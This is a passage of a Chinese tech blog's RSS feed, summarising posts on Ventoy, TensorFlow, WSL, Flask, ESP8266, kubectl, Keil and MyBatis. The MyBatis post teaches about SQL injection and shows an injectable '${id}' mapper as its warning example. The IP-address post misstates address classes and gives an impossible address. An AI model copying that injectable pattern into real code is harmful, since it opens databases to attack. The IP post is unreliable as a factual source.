      <description>最近在安装linux镜像的时候遇到了使用UltraISO软件制作U盘启动盘无法使用的情况。&#xA;下面介绍另外一个软件把U盘制作成启动盘Ventoy：&#xA;下载地址：Ventoy&#xA;使用方法：&#xA;1.下载好Ventoy，进行解压，打开其中的Ventoy2Disk.exe&#xA;2.在设备一栏选择自己的U盘&#xA;3.点击安装，弹窗都选择 是&#xA;4.点击升级，弹窗都选择 是&#xA;5.将 ISO 镜像文件保存在U盘 根目录下&#xA;6.将U盘插入电脑，在开机时进入boot页面，选择UEFI开头的U盘&#xA;7.即可看到之前放入的镜像文件。&#xA;以上是使用Ventoy制作U盘启动项的方法，此外U盘内还可以放一些其余文件也没关系。&#xA;更详细教程：&#xA;Ventoy 制作U盘启动盘 使用教程_李昊哲-小课的博客-CSDN博客_ventoy使用</description>
    </item>
    <item>
      <title>import tensorflow.keras报错</title>
      <link>https://bchobby.github.io/posts/02b69c2e4f0b714466095383d4ad1217/</link>
      <pubDate>Thu, 10 Nov 2022 14:40:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02b69c2e4f0b714466095383d4ad1217/</guid>
      <description> tensorflow版本为： tensorflow-gpu==2.10.0&#xA;输入命令：&#xA;import tensorflow.keras&#xA;错误信息：&#xA;ModuleNotFoundError: No module named &#39;tensorflow.keras&#39;&#xA;解决方法：&#xA;(1)确认已正确安装tensorflow (2)使用命令 import tensorflow.python.keras </description>
    </item>
    <item>
      <title>Win10安装Microsoft Store</title>
      <link>https://bchobby.github.io/posts/9e5c8094353a8ee26b312729fcb9bbea/</link>
      <pubDate>Thu, 10 Nov 2022 14:04:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e5c8094353a8ee26b312729fcb9bbea/</guid>
      <description>链接：https://pan.baidu.com/s/1UpGOOENs99_1pohOWZHv7Q 提取码：drpm&#xA;下载压缩包并解压，看readme.md文件内容操作。&#xA;进入存放.Appx后缀文件的目录，Shift+右键打开PowerShell窗口，输入 Add-AppxPackage * 命令并回车。&#xA;搜索Microsoft Store可以看见已经安装完成。</description>
    </item>
    <item>
      <title>瑞利分布与莱斯分布</title>
      <link>https://bchobby.github.io/posts/4b3634760f51bd515be62dda765bf5c9/</link>
      <pubDate>Thu, 10 Nov 2022 12:48:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b3634760f51bd515be62dda765bf5c9/</guid>
      <description>实例2-1 瑞利分布与莱斯分布&#xA;% 瑞利分布与莱斯分布 clear,clf%clear：清除工作空间的所有变量 clf：清除当前的Figure N = 200000;%产生200000个信道系数供统计使用 level = 30;%统计区间被划分的分数 K_dB = [-40 0 15];%莱斯因子为-40dB 0dB 15dB gss = [&#39;k - *&#39;; &#39;k - o&#39;; &#39;k - +&#39;;&#39;k - ^&#39;];%绘制曲线的颜色、线线与标志符号 % 瑞利模型 Rayleigh_ch = Ray_model(N);%调用Ray_model子程序，产生瑞利分布幅度系数 [temp,x] = hist(abs(Rayleigh_ch(1,:)),level); %统计数据分布 ：表示所有的，(1,:)即第一行所有列 plot(x,temp,gss(1,:)) hold on %莱斯模型 for i=1:length(K_dB);%对不同莱斯因子进行信道模型仿真 i循环从1循环到length（K_dB)=3 Rician_ch(i,:) = Ric_model(K_dB(i),N);%调用Ric_model产生莱斯分布幅度系数 [temp x] = hist(abs(Rician_ch(i,:)),level);%统计数据分布 plot(x,temp,gss(i+1,:)) end xlabel(&#39;x&#39;),ylabel(&#39;Occurrence&#39;) legend(&#39;Rayleigh&#39;,&#39;Rician,K = -40dB&#39;,&#39;Rician,K = 0dB&#39;,&#39;Rician,K = 15dB&#39;) %在坐标区上添加图例 %莱斯信道模型子程序，子程序程序名称：Ric_model.m function H=Ric_model(K_dB,L) %输入参数：K_dB为莱斯因子，L为仿真信道个数 %输出参数：H为返回莱斯信道矩阵 K = 10^(K_dB/10);%将dB值描述的莱斯因子转换为幅度值 H = sqrt(K/(K+1)) + sqrt(1/(K+1))*Ray_model(L); %产生莱斯信道幅度系数。莱斯信道模型中包含视距通信，收发之间有直通路径 %瑞利信道模型子程序，子程序程序名称：Ray_model.</description>
    </item>
    <item>
      <title>VScode安装Flask</title>
      <link>https://bchobby.github.io/posts/4a89b542e99c166f5b57103250141780/</link>
      <pubDate>Thu, 10 Nov 2022 12:01:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a89b542e99c166f5b57103250141780/</guid>
      <description>1.Win+R—cmd—切换目录至D盘（或其他地方）&#xA;2.创建虚拟环境：&#xA;d:\&amp;gt; md pywebgis&#xA;d:\&amp;gt; python -m venv \pywebgis&#xA;3.激活虚拟环境（先切换目录至虚拟环境）&#xA;d:\cd d:\pywebgis&#xA;d:\pywebgis&amp;gt;.\Scripts\activate&#xA;4.安装Flask&#xA;(pywebgis) D:\ pywebgis&amp;gt;pip install flask&#xA;5. 连接d:\pywebgis到工作区，创建hello文件夹\app.py文件，运行一下（或者用其他方法），主要就是把工作环境转到d:\pywebgis来。&#xA;6.在VScode的终端输入pip install flask，相当于在VScode“重新安装”Flask（实际上并没有，只是需要用Flask而已）。&#xA;7.在app.py中写代码并运行（可以右击—Run Code）。&#xA;from flask import Flask app=Flask(__name__) @app.route(&#39;/&#39;) def index(): return &#34;hello world&#34; if __name__==&#39;__main__&#39;: app.run(debug = True) 8.运行结果（终端或者输出都可以看）。可以复制打开划线网址，或者Ctrl+鼠标点击。</description>
    </item>
    <item>
      <title>简易配置：vim添加systemverilog语法高亮</title>
      <link>https://bchobby.github.io/posts/deac8ef0c93857ed47756d78e8fa4049/</link>
      <pubDate>Thu, 10 Nov 2022 11:05:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deac8ef0c93857ed47756d78e8fa4049/</guid>
      <description>在gvim使用中，有时需要添加systemverilog语法支持：（Lniux环境下）&#xA;简易配置方式：&#xA;1）所需要语法支持包：自己可去其它网站下载，或者在：systemverilog.vim-1.9插件包&#xA;2）解压systemverilog.vim-1.9.zip文件（这里，我采用的是这个1.9版本）：&#xA;得到：ftdetect、indent、syntax 三个目录（里面都有相应的支持语法的vim配置文件）。&#xA;2）在用户目录下（~/），ls -a 查看找到 .vim目录；如果没有，自己建立一个。&#xA;3）将ftdetect、indent、syntax三个目录, 复制到.vim目录下，即可。</description>
    </item>
    <item>
      <title>一键制作三维真实地形DEM</title>
      <link>https://bchobby.github.io/posts/1d1aeb0898f1242cfcb49942e411c393/</link>
      <pubDate>Wed, 09 Nov 2022 18:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d1aeb0898f1242cfcb49942e411c393/</guid>
      <description>一键制作三维真实地形 建过三维地形的同仁们都清楚，要建出一个精确的地形模型基本要靠CAD，GIS，AI这些软件协同操作。还需要下载在线底图，多重叠加分析。&#xA;如果说有一个PS插件可以在半个小时，甚至几分钟内生成一张这样的可视化的3D地形图，是否足够黑科技？▼&#xA;https://www.3d-map-generator.com/&#xA;在下面网址选择一真实地形，保存 https://tangrams.github.io/heightmapper/&#xA;范围选择好后，选择“Export”&#xA;把上面的图层丢进PS，可以用ctrl T自由变换或者裁剪工具修改大小&#xA;之后去Google Map截图一张卫星影像&#xA;记得把标签去掉&#xA;https://www.google.com/maps&#xA;把影像截图粘贴到PS中，这样PS中就有两个图层，一个地形、一个影像。还可以修改画布大小，要确保影像和地形的范围是重叠的（设置一个观测点）&#xA;选中地形图层，之后点击创建地形&#xA;如图所示，创建好了，接下来选中“Top layer groups”图层&#xA;top_layer_groups中top_layer_hd的第一个图层双击进行编辑。再把影像图层复制过去&#xA;在top_layer_01.psb上Ctrl+s 保存后打开地形图界面我们就可以看到地形已经出现在了模型上。（如果没出现，按下面的top_layer_01.psd图层位置修改）&#xA;这样就制作好了，接下来就可以按自己的需求绘制了。&#xA;最后可以添加一点气象要素，整张图就完成了。&#xA;可惜的是，这个插件是收费的，不算贵也不算便宜&#xA;这系列我目前在试用中，目标是复现NS的水循环概念图。&#xA;这系列我目前在试用中，目标是复现NS的水循环概念图。&#xA;条件允许，还是支持正版为好。21美刀的价格，相比其他软件还是物超所值的。</description>
    </item>
    <item>
      <title>Gitlab 设置页面语言为简体中文</title>
      <link>https://bchobby.github.io/posts/f8b92ff1594592f21ed05124a0df0f4a/</link>
      <pubDate>Wed, 09 Nov 2022 13:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8b92ff1594592f21ed05124a0df0f4a/</guid>
      <description>1.用户登录，点击头像，再点击Preferences&#xA;2.向下滑动，找到 Localization，进行修改，并保存&#xA;3.刷新页面，就更改成简体中文了</description>
    </item>
    <item>
      <title>IP地址的划分、分配</title>
      <link>https://bchobby.github.io/posts/6d1b52a055272f7aa2ff2ea07bbca7f5/</link>
      <pubDate>Wed, 09 Nov 2022 11:40:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d1b52a055272f7aa2ff2ea07bbca7f5/</guid>
      <description>一、IP地址的划分： IP地址一个包括五大类，分别是A类IP地址、B类IP地址、C类IP地址、D类IP地址和E类IP地址。其中&#xA;A类IP地址的范围是0-127，在这个范围内的0表示的是任何地址，127表示的是回环测试相应的地址，由此我们可以看出A类IP地址的实际范围是1-126，255.0.0.0是A类IP地址的默认子网掩码，其显示的子网掩码在一个范围当中。　B类IP地址的范围是128-191，其中子网掩码128.0.0.0和子网掩码191.255.0.0都是保留IP，B类IP地址的子网掩码实际范围是从子网掩码128.1.0.0到子网掩码191.254.0.0。&#xA;C类IP地址的范围是192-223，在这个范围当中的保留IP为子网掩码192.0.0.0和子网掩码223.255.255.0，C类IP地址的子网掩码实际范围是从子网掩码192.0.1.0到子网掩码223.255.254.0。&#xA;D类IP地址资子网掩码的范围是子掩码网224.0.0.0到子网掩码239.255.255.255，这两个子网掩码范围内的地址一般用于多点广播。&#xA;E类IP地址子网掩码的范围是从子网掩码240.0.0.0到子网掩码55.255.255.254，这两个子网掩码范围的IP地址一般用于地址的广播。&#xA;二、获取IP地址的方式 1、静态分配IP地址&#xA;静态分配也称为手工分配。网络管理员在计算机中直接设置所使用的IP地址。在 Windows 系统中，用户可以在“Internet协议版本4（TCP/IPv4）属性”对话框中手动配置静态地址。&#xA;2、动态分配IP地址&#xA;动态分配是指计算机向 DHCP 服务器申请 IP 地址，获取后使用该地址。这时，计算机作为 DHCP 客户机。&#xA;在这个过程中，DHCP 客户机向 DHCP 服务器租用 IP 地址，DHCP 服务器只是暂时分配给客户机一个IP地址。只要租约到期，这个地址就会还给 DHCP 服务器，以供其他客户机使用。如果 DHCP 客户机仍需要一个 IP 地址来完成工作，则可以再申请另外一个 IP 地址。所以，计算机获取的IP地址每次都可能变化，属于动态分配。&#xA;3、零配置&#xA;在动态分配方式中，如果 DHCP 服务器不在线或出现故障等情况时，客户机就无法获取地址。这时，有些系统将会通过零配置技术为自己分配一个私有的地址，范围为 169.254.0.0~169.254.255.255。&#xA;三、申请IP的方法 一种方法是：直接成为APNIC的会员单位，直接从APNIC获得IP地址，但是必须向APNIC交纳2500美元到10000美元不等的年费，而且会员的规模越小，申请地址的难度相对较大；&#xA;另外一种方法是：加入一个IP地址分配联盟（以下简称分配联盟），通过分配联盟召集单位向APNIC交纳一定的年费及向召集单位交纳联盟成员费。&#xA;中国互联网络信息中心（China Internet Network Information Center，简称CNNIC）以国家NIC的身份于1997年1月成为APNIC的大型会员，成立了以CNNIC为召集单位的分配联盟，我们称为CNNIC分配联盟。按照APNIC的有关规定（APNIC-051），CNNIC分配联盟成员单位可以通过CNNIC获得IP地址号码，CNNIC必须将其分配联盟单位的名单及IP地址分配报告APNIC，同时除了CNNIC向APNIC交纳年费（1万美元）外，CNNIC分配联盟的成员单位还应通过CNNIC向APNIC交纳年费，并每年向CNNIC交纳一定的联盟成员费。&#xA;中国的任何单位，只要对IP地址的需求量达到一定要求，而且可能继续向前发展的，就有资格申请加入CNNIC分配联盟。如果只是需要少量地址，也可向CNNIC分配联盟提交详细的申请资料，CNNIC会将其介绍给合适的联盟成员单位或其它的ISP，以便该单位能获得所需的IP地址。对于地域较近，业务上有联系的若干单位，或者自愿合作的若干单位，可联合申请联盟成员资格。&#xA;因此任何机构和个人只要向某个ISP交纳规定的费用，就可从该ISP获取所需lP地址的使用权，但各单位的IP地址分配要统一进行规划，统一联入因特网。&#xA;四、ip是私有地址，怎么连接Internet？ 如果我们的ip是私有地址，那怎么连接Internet呢？&#xA;既然我们都是用的私有ip，那么我们应该只可以在内网内部进行通信，你可能会疑问那么我们是怎么连接上Internet的呢?&#xA;这是使用了NAT技术。NAT英文全称是“Network Address Translation”，中文意思是“网络地址转换”，它是一个IETF(Internet Engineering Task Force, Internet工程任务组)标准，允许一个整体机构以一个公用IP（Internet Protocol）地址出现在Internet上。顾名思义，它是一种把内部私有网络地址（IP地址）翻译成合法网络IP地址的技术。&#xA;简单的说，NAT就是在内部网络中使用私有地址，而当内部计算机连接Internet时，就在网关（可以理解为出口，打个比方就像院子的门一样）处，将内部地址替换成公用地址，从而在外部公网（internet）上正常使用，NAT可以使多台计算机共享Internet连接。&#xA;实现NAT转换的地方一般是路由器。我们也可以通过对路由器的设置来让外界对公网的访问映射成对局域网某一主机的访问，当我们要将计算机做成服务器时，需要用到此技术。</description>
    </item>
    <item>
      <title>解析Url地址（绝对路径解析）</title>
      <link>https://bchobby.github.io/posts/9f40b09e5056e21cb623c64f38909086/</link>
      <pubDate>Wed, 09 Nov 2022 10:42:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f40b09e5056e21cb623c64f38909086/</guid>
      <description>/** * 绝对路径Url解析 * @param {String} url 要解析的url，Url必须带协议http或者https * @returns */ export const parseURL = (url) =&amp;gt; { let a = document.createElement(&#39;a&#39;) a.href = url return { source: url, protocol: a.protocol.replace(&#39;:&#39;, &#39;&#39;), host: a.host, hostname: a.hostname, port: a.port, query: a.search, params: (function() { let params = {} let hashArr = a.search.replace(/^\?/, &#39;&#39;).split(&#39;&amp;amp;&#39;) for (let i = 0; i &amp;lt; hashArr.length; i++) { let item = hashArr[i].split(&#39;=&#39;) params[item[0]] = item[1] || &#39;&#39; } return params })(), file: (a.</description>
    </item>
    <item>
      <title>APP连接ESP8266——采用AT指令</title>
      <link>https://bchobby.github.io/posts/57cde0b67f75aa34594ddc5fa1c21f7b/</link>
      <pubDate>Wed, 09 Nov 2022 09:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57cde0b67f75aa34594ddc5fa1c21f7b/</guid>
      <description>1.主要实验设备及器材 1.1一块ESP8266（如图1）&#xA;图 1 ESP8266模块&#xA;1.2 一个USB转TTL模块（如图2）&#xA;图 2 USB转TTL模块&#xA;2.测试ESP8266模块 2.1连接设备&#xA;WIFI模块与USB转TTL模块进行连接，连接实物图如图3所示，硬件连线框图如图4所示。&#xA;图 3 连接实物图&#xA;图 4 硬件连接框图&#xA;2.2打开串口调试助手&#xA;本次实验使用的软件是XCOM V2.3，默认波特率为115200，停止位为1，数据位为8，校验位为None（如图5）。&#xA;图 5 XCOM V2.3&#xA;2.3输入测试指令AT&#xA;测试AT启动，返回OK （如图6）&#xA;图 6 AT测试&#xA;2.4复位指令AT+RST&#xA;输入AT+RST对WiFi模块进行复位操作，若返回ready代表复位成功（如图7）。&#xA;图 7 AT+RST&#xA;2.5 设置连接模式&#xA;输入AT+CWMODE=mode设置wifi应用模式，返回OK;&#xA;mode: 1.Station模式&#xA;2.AP模式&#xA;3.AP+Station兼容模式&#xA;备注，station：客户端，AP：服务器;&#xA;本次测试采用Station模式，输入AT+CWMODE=1指令（如图8）。&#xA;图 8 AT+CWMODE=1&#xA;2.6连接wifi&#xA;这里输入AT+CWJAP=“BUNFLY loT studio”,“207207207”，返回OK（如图9）。&#xA;指令原型为：AT+CWJAP=&amp;lt;ssid&amp;gt;,&amp;lt;pwd&amp;gt; ,ssid就是wifi的名字，pwd就是wifi的密码。&#xA;图 9 AT+CWJAP&#xA;完成以上操作，就可以对ESP8266进行AT指令操作。&#xA;3.ESP8266操作指令&#xA;3.1 ESP8266做服务器操作 该操作是将ESP8266当做服务器，同手机或其他设备进行连接，操作步骤如下.&#xA;3.1.1设置多连接模式&#xA;输入AT+CIPMUX=1，返回OK（如图10）。&#xA;图 10 AT+CIPMUX&#xA;3.1.2建立服务器</description>
    </item>
    <item>
      <title>2009~2021全国大学生数学竞赛初赛 重积分、曲线积分、曲面积分题目</title>
      <link>https://bchobby.github.io/posts/8ef1b71ba3f443281e942f903ee52b04/</link>
      <pubDate>Wed, 09 Nov 2022 00:48:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef1b71ba3f443281e942f903ee52b04/</guid>
      <description>以下截图来源于全国大学生数学竞赛官网和微信公众号考研数学竞赛&#xA;以下截图来源于全国大学生数学竞赛官网和微信公众号考研数学竞赛&#xA;以下截图来源于全国大学生数学竞赛官网和微信公众号考研数学竞赛&#xA;2021补赛&#xA;思路：积分区域为圆，换成极坐标&#xA;思路：积分恒等于0，被积函数就恒等于0. 被积函数是dydz+dzdx+dxdy，就化成dv&#xA;2021&#xA;思路：积分区域对称，积分式可能为0；积分区域为圆，积分式子凑x^2+y^2，并换成极坐标&#xA;2020&#xA;思路：把dx和dy分开，式子也分开；设原函数&#xA;思路：第一步是观察曲线的妙处。z无变化，则dz为0。第二步可以直接积分（但中间需要技巧）；也可以把dx化成ds，这样被积函数f(x,y)为奇函数，即f(-x,-y)=f(x,y)&#xA;2019&#xA;思路：这个区域长啥样我不知道，就设它是一个罩子罩在xOy面上。换球坐标。（是什么坐标比较好我不知道，无非是柱坐标球坐标两种变换。高斯公式要把被积函数拆成三个再对相应变量积分，也不会用）&#xA;思路：先给他视为球坐标系，看出被积函数之后，换成直角坐标系并且是曲面积分，然后换元使得式子里只有一个变量&#xA;2018&#xA;思路：“路径无关”等价于“dx的对y求导=dy的对x求导”（定理不详）&#xA;思路：球就用球坐标系；大球减小球；球冠质量较难求↓&#xA;2017&#xA;思路：x^2+y^2换坐标&#xA;思路：把x，y，z都换成只含有t的表达式&#xA;或者：斯托克斯公式&#xA;2016&#xA;思路：这个空间要算出来才能换对元&#xA;2015&#xA;看不懂答案&#xA;2014&#xA;思路：dydz,dzdx,dxdy都化成dv&#xA;2013&#xA;思路：积分最小值的几何意义&#xA;没做&#xA;2012&#xA;和路径无关，前面讲过&#xA;答案没看懂&#xA;2011&#xA;2010&#xA;2009</description>
    </item>
    <item>
      <title>echarts 实现Y轴四等分</title>
      <link>https://bchobby.github.io/posts/f7db74330e0ca0c1b7d8eb4f7d7984fa/</link>
      <pubDate>Tue, 08 Nov 2022 21:39:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7db74330e0ca0c1b7d8eb4f7d7984fa/</guid>
      <description>echarts 实现Y轴四等分* 需要实现的效果： 把整个Y轴实现四等分 同时保证Y轴最大的刻度 是距离最高的的数据 比如图上的100 是需要留出一些位置&#xA;比较低端 是第一个版本 后面实际使用是需要精进 此次的笔记 子是想记录一下 代码贴上&#xA;1.计算出 这七日的数据的最大值 最小值&#xA;2.计算出 最大值是几位数&#xA;3.计算出 最大值 对应的整百 整千…&#xA;4.计算出 最大值 的最高位是多少 向上整 （因为距离Y轴 是需要一点距离的 那么 就需要 往前加一个较大一点的数 所以会取最高位）需注意 1774 那么向上取整 后最高位是2；10 向上取整为1&#xA;5.做判断 向上取整后这个数（ceilData2 ）是否比最大值大 如果没有 最高位+1&#xA;6 由于要做四等分 那么ceilData2 必须为可以被四整除的数 所以这边用了一个循坏 去向上加 取一个离他最近的一个可以被四整除的数&#xA;那么到这 其实对数据的处理就结束了&#xA;接下来 是对表格 进行属性的赋值&#xA;yAxis.put(“max”, ceilData2); // 把计算出来的这个 设置为Y轴刻度最大的值&#xA;yAxis.put(“splitNumber”, 4); // 设置为Y轴刻度 均分的个数&#xA;yAxis.put(“interval”,interval); // 设置 刻度的步长 interval =ceilData2/4;</description>
    </item>
    <item>
      <title>MyBatis 获取参数指南</title>
      <link>https://bchobby.github.io/posts/8565b120b1374ea5e60785357fd98641/</link>
      <pubDate>Tue, 08 Nov 2022 18:20:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8565b120b1374ea5e60785357fd98641/</guid>
      <description>MyBatis 是一个轻量级，性能出色的半 ORM 框架，支持定制化 SQL，SQL 和 Java 代码分开，功能边界清晰。Java 代码专注于业务、SQL 语句专注于数据操作。&#xA;接下来我们学习一下 MyBatis 框架中，Java 代码如何传递参数，SQL 语句如何获取接口参数。&#xA;${} 和 #{} 的区别 在 MyBatis 中，SQL 语句获取参数一般用 ${} 和 #{} 这两种方式，这两种方式的区别在于：&#xA;${} 使用字符串拼接的方式拼接 SQL 语句，容易发生 SQL 注入，一般不用这种方式，同时也需要频繁手动添加单引号。&#xA;#{} 使用占位符赋值的方式拼接 SQL 语句，有效防止 SQL 注入，当参数是字符串类型和日期类型时，能自动添加单引号。&#xA;SQL注入简介 上面提到 ${} 方式容易引发 SQL 注入，那么 SQL 注入是什么意思呢？&#xA;其实 SQL 注入是一种常见的攻击手段，攻击者在提交表单的时候额外添加一些额外的 SQL 语句，如果一些应用程序对用户输入的数据的合法性判断不严格或者没有过滤，可能会引发数据泄漏或者数据被篡改。&#xA;用一个简单的例子来说明：&#xA;public interface UserMapper { List&amp;lt;User&amp;gt; findById(Integer id); int deleteById(Integer id); } &amp;lt;mapper namespace=&#34;com.example.UserMapper&#34;&amp;gt; &amp;lt;select id=&#34;findById&#34; resultType=&#34;User&#34;&amp;gt; select * from t_user where id = ${id} &amp;lt;/select&amp;gt; &amp;lt;delete id=&#34;</description>
    </item>
    <item>
      <title>Windows安装Linux子系统</title>
      <link>https://bchobby.github.io/posts/c1e069bf38ad99e313b2041d7b75ab64/</link>
      <pubDate>Tue, 08 Nov 2022 17:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1e069bf38ad99e313b2041d7b75ab64/</guid>
      <description>win10更新了安装linux子系统的步骤，使之更加方便，只需要在CMD运行命令： wsl --install，当然这会涉及很多默认的选项。&#xA;Windows 命令提示符中输入以下命令，找到可供安装的 Linux 发行版列表。&#xA;wsl --list --online 要安装 Ubuntu 默认版本以外的发行版，使用这个命令：wsl --install -d，如安装debian&#xA;wsl --install -d Ubuntu-20.04 这个安装命令可以用于第一次安装，或者在你已经安装了 WSL 和默认的 Ubuntu 发行版之后再添加其他发行版。&#xA;使用 wsl --update 来手动更新你的 WSL Linux 内核，使用 wsl --update rollback 来回滚到之前的 WSL Linux 内核版本。&#xA;使用 wsl --status 查看关于 WSL 配置的一般信息，如默认发行版类型、默认发行版和内核版本。&#xA;附上官方地址：Windows Subsystem for Linux Documentation | Microsoft Learn</description>
    </item>
    <item>
      <title>k8s管理工具kubectl详解（二）</title>
      <link>https://bchobby.github.io/posts/6e5e4c3563df129fec711928a197ba14/</link>
      <pubDate>Tue, 08 Nov 2022 17:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e5e4c3563df129fec711928a197ba14/</guid>
      <description>目录&#xA;K8S模拟项目&#xA;一、项目的生命周期&#xA;二、创建kubectl run命令&#xA;使用run报错了&#xA;三、发布kubectl expose命令&#xA;1.service的作用&#xA;2.Service的类型&#xA;3.查看Pod网络状态详细信息和Service暴露端口&#xA;4.查看关联后端的节点&#xA;5.查看service的详细描述信息&#xA;6.访问内部IP查看&#xA;7.查看访问日志&#xA;四、更新kubectl set&#xA;1.获取修改模板&#xA;2.查看当前nginx的版本号&#xA;3.将nginx版本更新为1.15&#xA;4.监听pod状态&#xA;5.查看pod的IP变化&#xA;五、回滚kubectl rollout&#xA;1.查看历史版本&#xA;2.执行回滚到上一个版本&#xA;3.执行回滚到执行版本&#xA;查看历史版本&#xA;回到revision2，即1.15版本&#xA;4.检查回滚状态&#xA;六、删除kubectl delete&#xA;1.删除副本控制器&#xA;2.删除service&#xA;K8S模拟项目 Kubectl是管理k8s集群的命令行工具，通过生成的json格式传递给apiserver进行创建、查看、管理的操作。&#xA;//帮助信息 [root@localhost bin]# kubectl --help kubectl controls the Kubernetes cluster manager. Find more information at: https://kubernetes.io/docs/reference/kubectl/overview/ Basic Commands (Beginner): create Create a resource from a file or from stdin. expose 使用 replication controller, service, deployment 或者 pod 并暴露它作为一个 新的 Kubernetes Service run 在集群中运行一个指定的镜像 set 为 objects 设置一个指定的特征 Basic Commands (Intermediate): explain 查看资源的文档 get 显示一个或更多 resources edit 在服务器上编辑一个资源 delete Delete resources by filenames, stdin, resources and names, or by resources and label selector Deploy Commands: rollout Manage the rollout of a resource scale 为 Deployment, ReplicaSet, Replication Controller 或者 Job 设置一个新的副本数量 autoscale 自动调整一个 Deployment, ReplicaSet, 或者 ReplicationController 的副本数量 Cluster Management Commands: certificate 修改 certificate 资源.</description>
    </item>
    <item>
      <title>常见keil消除警告和报错</title>
      <link>https://bchobby.github.io/posts/d551295f58ee7ec1f4e7bd03611448e7/</link>
      <pubDate>Tue, 08 Nov 2022 16:36:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d551295f58ee7ec1f4e7bd03611448e7/</guid>
      <description>Warning:&#xA;#1-D: last line of file ends without a newline 文件最后一行不是新行&#xA;解决：保证文件最后一行什么符号也没有&#xA;: missing return statement at end of non-void function “xxxx” 没有返回值&#xA;解决: 检查并在所指出的函数中添加返回值语句，通常是编写程序时候设定了返回类型但是没有设定返回值，需要注意的是这个问题有时候会导致建立文件时产生错误。&#xA;warning: #174-D: expression has no effect data&#xA;解决: 函数没有加上（），或者是data变量不能不能单独赋值，如要赋值就应该是 data = data&#xA;warning: #111-D: statement is unreachable 解决：&#xA;&#34;statement is unreachable&#34;这句一般是说编译器认为程序执行不到这里。&#xA;因为本人运行程序的时候，再向前有一个While(1)循环，&#xA;理论上说除非你里面有设置break，否则会一直循环下去。&#xA;编译器认为在while循环这里就会一直循环，永远跳不出来，&#xA;那么下面这一句指令也就永远无法执行到了。&#xA;这种警告一般不会影响程序的运行。&#xA;如果你觉得它很讨厌，可以修改你的语句，让编译器认为这个指令可以达到，比如加上一个If语句&#xA;error&#xA;..\ModulDrivers\driver_iic.c(112): error: #65: expected a &#34;;&#34; 解决：这种错误一般是符号错误，多一个符号或者少一个符号</description>
    </item>
    <item>
      <title>MyBatis-Plus只查询固定条数记录</title>
      <link>https://bchobby.github.io/posts/c8dc5e39d9b88d1fabadcb50e0e4478b/</link>
      <pubDate>Tue, 08 Nov 2022 16:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8dc5e39d9b88d1fabadcb50e0e4478b/</guid>
      <description> 在使用MyBatis-Plus时有时候会碰到根据时间排序，只取最早或最晚一条记录的需求，这种需求其实只需在查询构造器最后加一个last()方法即可，方法里传入参数last(“limit 1”)。&#xA;这种方法可以实现上述需求，但是不得不写一个&#34;limit 1&#34;，以后改需求查两个的话又需要改为&#34;limit 2&#34;，而且这里写一个常量字符串感觉也怪怪的，基于此可以用两种方法代替。&#xA;方法一 使用常量代替，例如在代码中可以这样写 last(Constant.LIMIT_ONE) 方法二 自己建一个mybatis-plus查询构造器，继承LambdaQueryWrapper，实现代码如下： @Component public class StrengthenLambdaQueryWrapper&amp;lt;T&amp;gt; extends LambdaQueryWrapper&amp;lt;T&amp;gt; { /** * 只取一条记录 * @param lambdaQueryWrapper * @return LambdaQueryWrapper */ public LambdaQueryWrapper&amp;lt;T&amp;gt; limitOne(LambdaQueryWrapper&amp;lt;T&amp;gt; lambdaQueryWrapper){ return lambdaQueryWrapper.last(Constant.LIMIT_ONE); } } 在业务方法中使用&#xA;public void testLimitOne(String userName){ StrengthenLambdaQueryWrapper&amp;lt;SysBizUser&amp;gt; sysBizUserStrengthenLambdaQueryWrapper = new StrengthenLambdaQueryWrapper&amp;lt;&amp;gt;(); LambdaQueryWrapper&amp;lt;SysBizUser&amp;gt; lambdaQueryWrapper = sysBizUserStrengthenLambdaQueryWrapper .limitOne(sysBizUserStrengthenLambdaQueryWrapper) .eq(SysBizUser::getUserName, userName); SysBizUser sysBizUser = sysBizUserMapper.selectOne(lambdaQueryWrapper); } </description>
    </item>
    <item>
      <title>ViewModel 源码设计思路分析</title>
      <link>https://bchobby.github.io/posts/05dd3468556d44ccaaa98d735d6ebdbd/</link>
      <pubDate>Tue, 08 Nov 2022 14:17:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05dd3468556d44ccaaa98d735d6ebdbd/</guid>
      <description>前言 转眼一年又过去大半了，在2022年，初定了大多计划，搬家，换公司，很多事情都一托再拖。&#xA;这里分享一篇我在公司内部做的分享文章吧，删除了部分对公司内部代码的探讨。&#xA;公司中的项目运用到了大量的组件封装。有的是对第三方组件进行二次封装，有的是从零开始设计，如何设计一个可扩展性高，容易使用的组件呢？可以参考参考google开发者是如何设计组件的。&#xA;我们以ViewModel组件为例，试图从源码中，窥探作者是如何设计ViewModel组件的。如果是我们，我们会怎么设计ViewModel组件呢？&#xA;需求分析 首先，需要明确我们的组件需要什么功能：&#xA;1、这个组件专门处理业务的数据逻辑&#xA;2、给Activity或者Fragment用的，希望同一个Activity下的fragment可以利用这个VeiwModel交互传递数据。&#xA;3、配置发生变化，导致View销毁重建的时候，保存这个ViewModel。数据不丢失。&#xA;4、ViewModel虽然不能持有Acitvity、fragment这种上下文，但是允许给一个Application。&#xA;5、进程意外杀死重建的时候，需要保存数据&#xA;头脑风暴（核心） 